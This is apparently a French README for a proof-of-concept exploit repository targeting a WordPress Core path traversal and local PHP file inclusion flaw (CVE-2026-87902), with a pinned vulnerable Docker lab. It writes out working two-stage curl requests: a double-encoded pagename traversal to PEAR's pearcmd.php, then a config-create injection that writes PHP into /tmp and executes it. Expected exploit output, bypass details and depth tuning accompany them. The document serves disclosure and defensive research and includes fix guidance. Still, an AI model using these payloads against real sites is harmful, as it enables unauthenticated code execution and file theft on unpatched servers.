
PoC pour CVE-2026-87902 — traversée de chemin non authentifiée dans la résolution de modèle de page WordPress (inclusion PHP locale, RCE conditionnelle) avec un lab vulnérable épinglé
Inclusion locale non authentifiée de fichier PHP dans WordPress Core via une valeur
pagename doublement encodée — et, dans des conditions de déploiement spécifiques,
exécution de code PHP avec les privilèges du compte du serveur web.
| CVE | CVE-2026-87902 |
| Avis du fournisseur | GHSA-7hp8-65ch-5whp |
| Analyse détaillée | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| Affecté | WordPress Core 4.7.0 – 7.1.1 (toutes les branches, selon les plages par branche de l'avis) ; reproduit dynamiquement sur 7.0.2 |
| Corrigé | 7.1.2 (branche 7.1), 7.0.6 (branche 7.0) et un backport pour chaque branche jusqu'à 4.7.37 (selon l'avis) |
| Faiblesses | CWE-98 (contrôle incorrect du nom de fichier dans include), CWE-22 / CWE-23 (traversée de chemin) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 Élevé |
| CVSS v4.0 (supplémentaire) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critique |
| Authentification | aucune — aucun compte, cookie, nonce, session, plugin ou requête sortante |
| Interaction utilisateur | aucune |
| Auteur | Robert Ressl — ressl.ch |
| PoC vérifié | 2026-09-22 contre le lab de ce dépôt — voir Résultats vérifiés |
WordPress résout un modèle de Page via une chaîne qui ne prouve jamais que le fichier sélectionné reste à l'intérieur d'une racine de thème :
pagename et page_id sont des variables de requête publiques que WP::parse_request()
accepte depuis un corps POST anonyme.pagename survit à l'assainissement précoce
de la requête sous forme d'octets %xx échappés (wp_basename() ne peut pas voir %2f
comme un séparateur, et sanitize_title_with_dashes() conserve délibérément les octets
valides).page_id valide sélectionne alors une vraie Page publiée, tandis que le pagename
malveillant reste dans l'objet de requête.get_page_template() appelle ensuite urldecode() sur cette valeur et ajoute un
candidat tel que page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
à la hiérarchie des modèles.locate_template() et le chargeur de modèle final ne vérifient que l'existence, la
lisibilité et le suffixe .php/.html — jamais que le chemin canonique se trouve
encore dans une racine de thème autorisée — puis l'include.Il s'agit d'une primitive d'inclusion locale de fichier distante non authentifiée dans
WordPress Core. Sur le runtime officiel testé (wordpress:php8.3-apache, qui embarque
PEAR et ne charge aucun php.ini, donc register_argc_argv est On), l'inclusion a été
enchaînée via le pearcmd.php de PEAR : une première requête anonyme fait écrire par
config-create du PHP contrôlé par l'attaquant dans /tmp, une seconde requête anonyme
inclut ce fichier et l'exécute en tant que www-data.
Le confinement de chemin manquant dans Core est la vulnérabilité. PEAR n'est qu'une route dépendante de l'environnement de l'inclusion vers l'exécution de code — ce n'est pas une dépendance de WordPress et il n'est pas présent ou utilisable dans tous les déploiements.
Emplacements source vérifiés (WordPress 7.0.2) :
| # | Emplacement | Rôle |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 | pagename et page_id sont des variables de requête publiques et sont lues depuis $_POST |
| 2 | wp-includes/class-wp-query.php:2205 | sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f n'est pas un séparateur pour wp_basename() |
| 3 | wp-includes/formatting.php:2283-2289 | sanitize_title_with_dashes() conserve les octets %xx valides au lieu de les supprimer |
| 4 | wp-includes/template.php:492 | $pagename_decoded = urldecode( $pagename ); — la traversée devient active après l'assainissement |
| 5 | wp-includes/template.php:722-736 | locate_template() concatène le candidat sous chaque racine de thème et n'appelle que file_exists() |
| 6 | wp-includes/template-loader.php:116-132 | realpath() normalise le chemin, puis include s'exécute sans vérification canonique de confinement à la racine |
| 7 | wp-includes/canonical.php:42-47 | redirect_canonical() retourne tôt pour les requêtes non-GET/HEAD, donc un POST n'est pas canonicalisé |
La primitive d'inclusion autonome nécessite :
| # | Précondition | Raison |
|---|---|---|
| 1 | Une Page publiée, accessible anonymement, sélectionnée par un page_id numérique | la page doit être retournée par la requête après l'échec de la recherche du nom de chemin |
| 2 | Aucun modèle de page personnalisé résoluble antérieur | un modèle assigné valide est ordonné avant le candidat malveillant |
| 3 | Un répertoire de premier niveau dans le thème actif (enfant ou parent) dont le nom commence par page-, par ex. page-templates/ | WordPress préfixe le préfixe fixe page-, donc une traversée .. ne peut pas commencer à la position 0 ; le répertoire doit seulement exister et être traversable — il ne doit pas être inscriptible |
| 4 | Un fichier .php local sélectionné qui existe et est lisible par l'utilisateur PHP | le chargeur vérifie is_file()/is_readable() et exige un suffixe .php |
| 5 | Aucun confinement du système de fichiers bloquant ce fichier | un open_basedir ou une politique MAC peut empêcher l'inclusion |
L'étape PEAR démontrée nécessite en plus un pearcmd.php lisible (ainsi que ses
dépendances), register_argc_argv=On pour le SAPI web, et un répertoire de sortie
inscriptible. Les fichiers php.ini de production définissent register_argc_argv=Off ;
l'image testée ne charge aucun php.ini, donc la valeur par défaut compilée (On)
s'appliquait. C'est une limite importante sur la prévalence de la chaîne d'exécution de
code démontrée.
Les thèmes fournis Twenty Twenty-Three/Four/Five n'embarquent aucun répertoire
page-* de premier niveau, donc le lab standard nécessite la fixture décrite ci-dessous.
Les thèmes personnalisés peuvent légitimement utiliser une disposition page-templates/
(documentation WordPress).
L'avis consigne où ces conditions se produisent dans les logiciels livrés : la condition
de thème est remplie par les thèmes hérités Twenty Twelve et Twenty Fourteen et par des
thèmes tiers tels que Neve, Hestia et Sydney, tandis que la transition PEAR s'applique à
l'image Docker PHP officielle et aux configurations cPanel par défaut exécutant PHP
antérieur à 8.5. (Twenty Twelve et Twenty Fourteen embarquent tous deux un répertoire
page-templates/ de premier niveau ; les autres affirmations sont celles de l'avis.) Ce
dépôt ne mesure pas la fréquence d'application de la chaîne complète.
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py # two anonymous POSTs, prints the proof marker
cve-2026-87902.py nécessite Python 3.6+ (bibliothèque standard uniquement) et atteint le
lab à http://127.0.0.1:8091 par défaut. Sortie attendue :
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
Le code de sortie est 0 en cas de succès et 1 sinon, donc le PoC fonctionne aussi
comme vérification de régression/détection.
Démontage : docker compose down -v.
Exécuté le 2026-09-22 contre ce lab (Docker 29.4, OrbStack, Apple silicon) :
| Vérification | Résultat |
|---|---|
| Étape 1 | HTTP 200 ; /tmp/wp-pear-rce-flag.php écrit en www-data:www-data, mode 0644, 1219 octets |
| SHA-256 de la charge utile | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — identique au hash consigné dans le rapport original |
| Étape 2 | HTTP 200 ; le PHP injecté a imprimé l'artefact de preuve en mode 0444 |
| Occurrences du marqueur | 12 (PEAR sérialise la valeur racine contrôlée dans 12 entrées de configuration) |
| Identifiants utilisés | aucun — aucun en-tête Cookie ou Authorization dans aucune requête |
| Contrôle négatif | page-templates/ supprimé → l'étape 2 retourne la page normale, aucun marqueur, code de sortie 1 |
L'artefact de preuve est /flag, détenu par root et lisible par tous (root:root, mode
0444) à l'intérieur du conteneur. Il prouve l'exécution de PHP et l'accès au fichier
en tant que compte du serveur web ; ce n'est pas une cible d'élévation de privilèges.
Deux POST anonymes. Les valeurs de routage WordPress voyagent dans le corps du
formulaire, les arguments PEAR dans la chaîne de requête brute (PHP découpe la chaîne de
requête brute sur le caractère littéral + en argv et ne décode pas individuellement
les arguments en URL) :
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
Étape 1 — inclure pearcmd.php et écrire la charge utile :
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
Étape 2 — inclure le fichier généré et exécuter son PHP :
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
Détails importants :
templates%2f%2e%2e%2f... ; l'assainisseur conserve ces octets, et seul
l'urldecode() tardif de get_page_template() les transforme en / et ...page-. WordPress préfixe la valeur par page-, donc le répertoire de
fixture page-templates/ correspond au segment initial templates..php forcé. Le candidat est page-<decoded>.php, c'est pourquoi la cible
est donnée sans suffixe (.../pearcmd, /tmp/wp-pear-rce-flag).POST, pas GET. redirect_canonical() ignore les requêtes non-GET/HEAD, et le
corps du formulaire permet à la chaîne de requête de ne porter que les arguments PEAR.wp_magic_quotes() s'exécute aussi sur $_SERVER,
donc l'argv construit par le serveur est échappé et PEAR normalise ensuite les
barres obliques inverses. La charge utile vérifiée utilise chr() et ne contient aucun
caractère de guillemet. (Elle se réduit à <?=file_get_contents('/flag')?>.)config-create. PEAR rejette une racine relative
(Root directory must be an absolute path beginning with "/"), donc la charge utile est
injectée comme chemin racine lui-même.cve-2026-87902.py parcourt les segments .. jusqu'à ce que la
traversée atteigne la cible (7 pour la disposition de ce lab, --depth pour la fixer).lab/up.sh effectue trois étapes et peut être réexécuté sans risque :
docker compose up -d --build --wait — wordpress:7.0.2-php8.3-apache épinglé
plus mysql:8.4, port 127.0.0.1:8091 (loopback uniquement).admin / adminadmin) si le site n'est pas encore
installé.wp-content/themes/twentytwentyfive/page-templates/, root:root, mode
0755, vide.L'image du lab ajoute explicitement register_argc_argv=On (lab/Dockerfile) au lieu de
se fier à la valeur par défaut compilée, et intègre /flag
(root:root, mode 0444, contenu CVE-2026-87902-POC-OK).
| Composant | Valeur |
|---|---|
| WordPress | 7.0.2 (wordpress:7.0.2-php8.3-apache) |
| PHP / SAPI | 8.3.33, module Apache |
| PEAR | 1.10.18 à /usr/local/lib/php/pearcmd.php |
| MySQL | 8.4 |
register_argc_argv | On |
| Thème | Twenty Twenty-Five + fixture page-templates/ vide détenue par root |
| Page cible | Sample Page publiée, ID 2, modèle par défaut |
| Artefact de preuve | /flag, root:root, mode 0444 |
Le tag roulant
wordpress:php8.3-apachen'est pas utilisable pour ce lab : le bug est corrigé dans 7.1.2 et un tag non épinglé transforme silencieusement le lab en version corrigée.
Contrôles vérifiés ou documentés :
page-* de premier niveau dans le thème → le préfixe fixe ne peut pas
être supprimé et la traversée ne démarre jamais (vérifié : fixture supprimée → aucun
marqueur).register_argc_argv=Off → pas d'écrivain PEAR, mais la primitive d'inclusion subsiste... → cible non atteinte (vérifié : les profondeurs 1-6 et
8-12 ne produisent aucun marqueur dans le lab)./flag) ne peut pas être lu directement — le candidat
reçoit .php en suffixe.<, >, = dans la cible de la
requête casse le canal d'arguments PEAR (spécifique au déploiement).open_basedir/MAC ou un répertoire de sortie non inscriptible casse la
chaîne ; noexec sur /tmp non (PHP lit et interprète le fichier).Ce PoC reproduit une configuration vérifiée. Il ne prétend pas que chaque installation WordPress est exploitable, et il ne mesure pas la prévalence.
validate_file()), et avant d'inclure un
modèle localisé, comparer realpath() du candidat et de la racine du thème avec un
séparateur de répertoire final.register_argc_argv=Off pour les SAPI web,
supprimer les points d'entrée PEAR inutilisés lisibles par le web des images de
production, auditer les thèmes enfant et parent pour les répertoires page-* de premier
niveau, et restreindre l'accès en écriture pour le compte PHP.| Chemin | Objectif |
|---|---|
cve-2026-87902.py | exploit : détection de page, les deux étapes, gestion de la profondeur, vérification du marqueur |
lab/up.sh | amène le lab dans l'état exact attendu par l'exploit (idempotent) |
docker-compose.yml | WordPress 7.0.2 + MySQL 8.4, port loopback uniquement |
lab/Dockerfile | épingle la version vulnérable, définit register_argc_argv=On, intègre /flag |
lab/flag | contenu de l'artefact de preuve |
| Date | Événement |
|---|---|
| 2026-07-20 | Signalé en privé via le programme HackerOne de WordPress |
| 2026-07-21 | Réception confirmée |
| 2026-09-15 | Informé qu'un correctif était prévu pour une prochaine version ; détails d'attribution demandés |
| 2026-09-22 | WordPress 7.1.2 publié avec le correctif ; avis GHSA-7hp8-65ch-5whp publié |
Le rapport a été accepté comme une découverte de sécurité valide après révision de sa classification initiale ; la correspondance ne date pas cette acceptation.
Ce dépôt est publié à des fins défensives et de recherche. Utilisez-le uniquement contre
des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester. Le lab
est lié à 127.0.0.1 et ne doit pas être exposé à des réseaux non fiables.
MIT — voir LICENSE. Les métadonnées de citation se trouvent dans CITATION.cff :
Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch
Le rapport de vulnérabilité et ce PoC ont été préparés avec l'aide de l'IA pour l'organisation et la revue de cohérence ; le chercheur est responsable des affirmations techniques.